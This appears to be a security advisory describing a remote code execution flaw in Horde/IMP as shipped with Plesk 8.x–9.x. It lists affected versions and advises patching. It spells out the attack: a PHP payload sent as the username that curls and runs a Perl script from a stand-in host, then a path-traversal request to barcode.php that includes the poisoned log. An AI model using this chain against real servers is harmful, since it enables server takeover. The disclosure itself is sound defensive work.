Horde/IMP Plesk webmail exploit

Description
  • The Horde/IMP package (3.1.7-3.3.2) that is shipped with Plesk v. 8.x and earlier versions of 9.x (before 9.5.4) has a vulnerability that allows an attacker to run malicious software by passing the login to the webmail with a POST request to the /horde/imp/redirect.php file that includes the PHP code as the username. For example <br/> <pre> <?php passthru("cd /tmp;curl -O -s http://domain.tld/new.txt;perl new.txt;rm -rf new.txt"); ?> </pre> This results in the PHP code being logged to the /var/log/psa-horde/psa-horde.log file, which, due to a vulnerability in the barcode.php file, allows attackers to cause Horde to execute the code by making this request:<br/> <pre> /horde/util/barcode.php?type=../../../../../../../../../../../var/log/psa-horde/psa-horde.log%00 </pre> Plesk versions affected:<br/><ul> <li>Parallels Plesk Panel 9.3 for Linux/Unix</li> <li>Parallels Plesk Panel 9.2 for Linux/Unix</li> <li>Parallels Plesk Panel 9.0 for Linux/Unix</li> <li>Parallels Plesk Panel 8.6 for Linux/Unix</li> <li>Parallels Plesk Panel 9.3 for Windows</li> <li>Parallels Plesk Panel 9.2 for Windows</li> <li>Parallels Plesk Panel 9.0 for Windows</li> <li>Parallels Plesk Panel 8.6 for Windows</li> <ul>
Remediation
  • Download and install the appropriate patch for Horde 3.1.7-3.3.2 in accordance with the platform your server runs on.
References